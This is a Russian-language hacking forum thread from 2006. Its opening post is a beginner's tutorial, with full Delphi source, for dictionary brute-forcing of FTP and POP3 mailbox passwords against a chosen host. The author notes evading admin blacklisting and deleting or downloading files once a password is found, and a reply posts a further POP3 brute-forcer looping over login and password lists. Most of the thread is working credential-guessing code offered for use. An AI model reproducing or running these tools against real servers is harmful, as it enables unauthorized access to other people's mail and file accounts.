Авторские статьи Брутофорсер на Delphi для новичков.

Discussion in 'Статьи' started by TaNkist, 11 Apr 2006.

  1. TaNkist

    TaNkist Elder - Старейшина

    Joined:
    6 Apr 2006
    Messages:
    147
    Likes Received:
    47
    Reputations:
    19
    Брутофорсер – важный инструмент любого хакера. Конечно, есть много готовых решений, типа виндового Brutos’а и nixовой Гидры. Но куда приятней пользоваться собственноручно написанной программой, которая отвечает всем твоим требованиям.
    Эта статья рассчитана на новичков, желающих разобраться в сетевом программировании.
    Итак, наш Брутофорсер будет подбирать пасы по протоколам FTP и POP3. Причем при работе с FTP мы будем пользоваться функциями Internet Api, а пароли к мылу будем подбирать с помощью сокетов.
    FTP
    В принципе можно разобрать протокол FTP, прочитав RFC 959, и реализовать брутофорсер, используя сокеты. Но зачем идти длинным путем, когда в Винду встроены функции для удобной работы не только с FTP, а еще и с HTTP, Gopher. Все это реализовано в библиотеке WinInet.dll.
    Начинать работу с библиотекой стоит с использования функций InternetOpen. Функция принимает 5 параметров: lpszAgent, dwAccessType, IpszProxy, IpszProxyBypass, dwFlags – и вернет значение типа HINTERNET, который нам понадобится в дальнейшем. Первый параметр – IpzAgent. Строка, передаваемая серверу, содержащие имя программы пославшей ее. Например, Ослик передает строчку «Microsoft Internet Explorer». Следующий параметр (dwAccessType) задает свойства доступа. Может принимать такие значения INTERNET_OPEN_TYPE_DIRECT (все имена хостов обрабатываются на нашем компьютере), INTERNET_OPEN_TYPE_PROXY (использует прокси-сервера), INTERNET_OPEN_TYPE_PRECONFIG (устанавливает все значения из реестра(HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings)). IpzProxy – адрес прокси-сервера, учитывается только в случае INTERNET_OPEN_TYPE_PROXY, в остальных случаях смело можно писать nil. IpszProxyBypass –список имен и айпишников, связь с которыми нужно устанавливать в обход проксей. И наконец последней параметр – dwFlags. Он задает параметры, влияющие на Internet-функции. Пример использования:
    hInet:=InternetOpen(nil,INTERNET_OPEN_TYPE_PRECONFIG,nil,nil,0);
    После вызова InternetOpen нужно соединиться с FTP-сервером и залогиниться на нем. Делается это при помощи функции InternetConnect.
    Параметры функции:
    HInet – Указатель на соеденение, полученный с помощью InternetOpen.
    IpszServerName – имя или IP-адрес сервера, с которым нужно связаться.
    nServerPort – номер порта, с которым нужно соедениться (Стандартный порт для FTP-сервера – 21).
    IpszUserName – Имя пользователя, под которым нужно войти на сервер.
    IpszPassword – пароль пользователя.
    dwService – задает сервис. Может принимать значения INTERNET_SERVICE_FTP, INTERNET_SERVICE_GOHER, INTERNET_SERVICE_HTTP.
    Пример использования:
    hconnect:=InternetConnect(hInet,’localhost’,21,’admin’,’admin’,INTERNET_SERVICE_FTP,0,0);
    Теперь, если InternetConnect вернул nil, то связка логина и паса некорректная (хотя может быть так, что админ запалил перебор, и внес наш IP-адрес в black-лист). Если такого не произошло, то мы получаем указатель на установленное соединение. Далее мы можем просто вывести на экран сообщение о успешном подборе, а можем закачать, скачать, удалить файл. Делается при помощи функций FtpPutFile, FtpGetFile, FtpDeleteFile. На этой радостной ноте я хочу закончить с рассказом о FTP-брутофорсере и InternetApi и плавно перейти к подбору пасов для мыла.
    Code:
    {ML2 FTP BRUTER v 0.01a
    written by TanKisT
    }
    program brut;
      {$APPTYPE CONSOLE}
    
    uses
       WinInet;
    
    var ftpname,file1,pass:string;
    port:Word;
    F1:textfile;
    hInet: pointer;
    hConnect: pointer;
    ftp:Pchar;
    login:array [0..255] of Char;
    begin
    //Получаем цель и словарик для брута
    Write('Name or IpAdress of FTP server: ');
    Readln(ftpname);
    Write('port: ');
    Readln(port);
    Write('Login: ');
    Readln(login);
    Write('File for brut: ');
    Readln(file1);
    Assign(F1,file1);
    {$I-}
    reset(f1);
    {$I+}
    //Проверка на существование файла
      If  (IOResult<>0) or  (file1='') then
       begin Writeln('can''t open file'); Readln; halt end;
    //Начало работы с InternetApi
    hInet:=InternetOpen(nil,INTERNET_OPEN_TYPE_PRECONFIG,nil,nil,0);
      If hInet=nil then begin writeln('can''t connect to Internet'); Readln; halt; end;
    ftp:=PChar(ftpname);
      // Начинаем брут
      While not eof(F1) do
        begin
        Readln(f1,pass);
        Writeln('Try ',login,' ',pass);
        // Пытаеся соединиться с ФТП серверов.
        hconnect:=
        InternetConnect(hInet,ftp,port,login,PChar(pass),INTERNET_SERVICE_FTP,0,0);
        //Проверяем валидность логина и пароля
          If hconnect <> nil then writeln('True') else writeln('False');
        InternetCloseHandle(hconnect);
        end;
    InternetCloseHandle(hInet);
    Readln;
    end.
    POP3
    Увы, Microsoft не упростила нам жизнь, и работу по протоколу POP3 нам прийдется реализовать на сокетах. Мы будем использовать библиотеку WinSock. Для начала разберемся, что такое сокет. Это виртуальный сетевой канал, который можно использовать для соеденения с любым портом сервера. Теперь разбуремся с работой сокетов.
    Сначала нам нужно инициализировать библиотеку WinSock. Для этого нужно воспользоваться функцией WSAStartup, которая принимает два параметра: Первый – наивысшая версия WinSock, которую можно использовать. Второй структура типа TWSAData, в которой будет сохранена информация о WinSock.
    Далее нужно инициализировать сокет при помощи функции socket. Параметры:
    Af – Тип использоваемой адресации.
    Struckt – Базовый протокол. Для TCP нужно писать Sock_stream, для UPD – SOCK_DGRAM.
    Protocol – протокол по которому будем общаться с сервером.
    Пример использования:
    FSocket:=socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
    Для соединения нужно подготовить структуру типа TSockAddr. Основные поля, которые нужно заполнить – sin_family, sin_addr, sin_port.
    Sin_family – семейство используемой адресации, sin_addr – IP-адрес сервера.
    Sin_port – порт подключаемого сервера. Пример использования:
    addr.sin_family:= AF_INET;
    addr.sin_addr:= 127.0.0.1;
    addr.sin_port:= htons(101);

    Теперь соединяемся с сокетом. Функция connect, у которой есть три параметра:
    Переменная сокет, структура типа TSockAddr, размер структуры, который можно получить при помощи функции SizeOf. Пример использования:
    connect(Fsocket,SockAddrIn,Sizeof(SockAddrIn));
    Отправить серверу строку можно при помощи функции send. Принимающей четыре параметра: Переменная сокет, Строка, размер строки, флаги. Пример использования.
    send(FSocket,str,lstrlen(str),0);
    Ответ сервера принимаем при помощи функции recv. Параметры: переменная сокет, буфер для ответа, размер буфера, флаги.
    recv(FSocket,Buf,255,0);
    Полностью протокол POP3 нам разбирать не стоит. Нам нужны только две команды – user и pass. При успешной авторизации сервер нам выдаст ответ “+OK”, при ошибке – “-ERR”. Так проверяя ответы сервера, можно узнать успешно ли мы залогинились.
    If Buf[1]=’+’ then Writeln(‘true’) else Writeln(‘false’);
    Вот полный код брутофорсера:
    Code:
    {ML2 POP3 BRUTER v 0.01a
    written by TanKisT
    }
    
    program mbrut;
    {$APPTYPE CONSOLE}
    
    uses
      windows,
      Winsock;  //Подключаем модуль WinSock
    
    
    var wsadata:TWSAData;
    SockAddrIn: TSockAddrIn;
    host,filename,pass:string;
    port:word;
    FSocket: TSocket;
    Str,user: array [0..255] of Char;
    Buf:array [0..255] of Char;
    F1:TextFile;
    
    begin
    //  Получем цель для брута
    Write('IP-adress of host: ');
    Readln(host);
    Write('port: ');
    Readln(port);
    Write('login for brut: ');
    Readln(user);
      port:=110;
      filename:='a.txt';
      assign(f1,Filename);
      reset(f1);
      WSAStartUp(257, wsadata); //Инициализация WinSock
      SockAddrIn.sin_family:=AF_INET;
      SockAddrIn.sin_port:=htons(port);
      SockAddrIn.sin_addr.s_addr := inet_addr(PChar(host));
        while not Eof(f1) do
      begin
       Readln(F1,pass);
      FSocket:=socket(PF_INET, SOCK_STREAM, IPPROTO_TCP); //Подготовка сокета
      connect(Fsocket,SockAddrIn,Sizeof(SockAddrIn));    //Соеденение
      recv(FSocket,Buf,255,0); //Получаем ответ сервера
      If Buf[0]<>'+' then begin writeln('can''t connect'); readln; halt end;
      lstrcpy(Str,PChar('user '+user+#13#10#0)); //Подготавливаем запрос
      send(FSocket,str,lstrlen(str),0);   //Отправляем запрос с логином
      recv(FSocket,Buf,255,0);
      If Buf[0]<>'+' then begin writeln('can''t connect');  readln; halt end;
      lstrcpy(Str,PChar('pass '+Pchar(pass)+#13#10#0));
      send(FSocket,str,lstrlen(str),0); //Отправляем запрос с паролем
      recv(FSocket,Buf,255,0);  // Получаем ответ сервера и парсим его
      If Buf[0]='+' then Writeln(pass+' ..true') else Writeln(pass+' ..false');
    
      end;
    
       WSACleanUp();//Заканчиваем работать с WinSock
       Readln;
    end.
    Данная статья была рассчитана на новичков и призвана познакомить с сетевым программированием. Возможно, в следующих статьях я расскажу о многопоточности, асинхронизированных сокетах и других интересных вещах.
     
    #1 TaNkist, 11 Apr 2006
    Last edited: 2 Jun 2006
    CyberTro1n, qPhoenix and fucker"ok like this.
  2. Talisman

    Talisman Elder - Старейшина

    Joined:
    22 Apr 2006
    Messages:
    400
    Likes Received:
    151
    Reputations:
    80
    кому нада готовые сорцы выложить?
     
  3. 0verfe1

    0verfe1 New Member

    Joined:
    28 Aug 2005
    Messages:
    12
    Likes Received:
    2
    Reputations:
    -2
    отлично,спасибо огромное за статью,давно хотел в этом разобратся =) и почитать иныу об этом
     
  4. fucker"ok

    fucker"ok Elder - Старейшина

    Joined:
    21 Nov 2004
    Messages:
    580
    Likes Received:
    279
    Reputations:
    91
    молодец. Думаю это будет полезно для новичков.
    Только вот лучше сменить цвет у кода, а то никто ничего не видит.
    ++
     
  5. fucker"ok

    fucker"ok Elder - Старейшина

    Joined:
    21 Nov 2004
    Messages:
    580
    Likes Received:
    279
    Reputations:
    91
  6. Sw%00p

    Sw%00p Banned

    Joined:
    13 Apr 2006
    Messages:
    47
    Likes Received:
    8
    Reputations:
    8
    вот неплохой ПОП3 брут по словарику пашет хорошо правда надо доработать с сохранением сессий и конечноже полным перебором


    unit Unit1;

    interface

    uses
    Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
    Dialogs, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
    IdMessageClient, IdPOP3, StdCtrls, IdAntiFreezeBase, IdAntiFreeze;

    type
    TForm1 = class(TForm)
    Label1: TLabel;
    Edit1: TEdit;
    Edit2: TEdit;
    Label2: TLabel;
    Label3: TLabel;
    Edit3: TEdit;
    Label4: TLabel;
    Edit4: TEdit;
    Button1: TButton;
    IdAntiFreeze1: TIdAntiFreeze;
    IdPOP31: TIdPOP3;
    procedure Button1Click(Sender: TObject);
    private
    { Private declarations }
    public
    { Public declarations }
    end;

    var
    Form1: TForm1;

    implementation

    {$R *.dfm}

    procedure TForm1.Button1Click(Sender: TObject);
    var
    LoginStrings, PassStrings:TStrings;
    i, j:Integer;
    begin
    //Создаём массив строк
    LoginStrings:=TStringList.Create;
    PassStrings:=TStringList.Create;
    //Загружаем словари логина и пассов
    LoginStrings.LoadFromFile(Edit1.Text);
    PassStrings.LoadFromFile(Edit2.Text) ;
    //адрес ПОП3 сервака и порт
    IdPOP31.Host := Edit3.Text;
    IdPOP31.Port := StrToInt(Edit4.Text);
    //начинается перебор
    for i:=0 to LoginStrings.Count-1 do
    for j:=0 to PassStrings.Count-1 do
    begin
    IdPOP31.Username := LoginStrings.Strings;
    IdPOP31.Password := PassStrings.Strings[j];
    //Соединение
    try
    IdPOP31.Connect;
    except
    end;
    if IdPOP31.Connected then
    begin
    //Показывает пароль если он найден
    Application.MessageBox(PChar(LoginStrings.Strings+
    PassStrings.Strings[j]), 'Ïàðîëü íàéäåí');
    IdPOP31.Disconnect;
    Exit;
    end;
    end;
    //уничтожаем массивы строк
    LoginStrings.Free;
    PassStrings.Free;
    end;

    end.